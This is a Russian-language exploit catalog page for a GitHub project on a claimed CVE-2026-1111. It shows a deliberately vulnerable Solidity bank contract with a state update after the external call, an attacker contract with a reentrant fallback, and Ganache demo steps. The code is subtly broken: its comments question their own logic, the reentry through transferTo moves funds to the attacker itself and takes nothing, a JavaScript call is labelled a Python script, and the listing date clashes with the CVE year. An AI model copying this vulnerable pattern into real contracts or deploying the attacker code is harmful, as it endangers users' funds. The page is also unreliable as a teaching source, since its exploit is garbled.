Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
Анализ уязвимостейЭксплуатацияОбучение и Образование
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

Пример эксплуатации межфункциональной повторной входимости для смарт-контрактов: уязвимый контракт на Solidity и контракт атакующего, демонстрирующие вывод средств через повторный вход в fallback-функцию.

Репозиторий
31 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-1111 – межфункциональная реентерабельность смарт-контракта

Программный код (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – межфункциональная реентерабельность в смарт-контракте

Severity: Critical

Обзор

В смарт-контракте отсутствует глобальная защита от повторного входа, что позволяет атакующему повторно войти в контракт через другую функцию во время вызова withdraw, обходя локальную защиту и выводя средства.

Детали уязвимости

  • Тип: Реентерабельность
  • Воздействие: Хищение всех заблокированных Ether.
  • Корневая причина: Функция withdraw обновляет баланс после внешнего вызова, а отдельная функция, изменяющая состояние (transferTo), может быть вызвана реентерабельно, что позволяет манипулировать балансами.

Демонстрация эксплуатации

  1. Запустите локальный узел Ethereum (Ganache):
    root@kitploit:~
    ganache-cli
    
  2. Разверните VulnerableBank.sol и Attacker.sol с помощью Remix или Truffle.
  3. Выполните атаку через Python-скрипт (симуляция с помощью консоли Remix):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
Скачать инструмент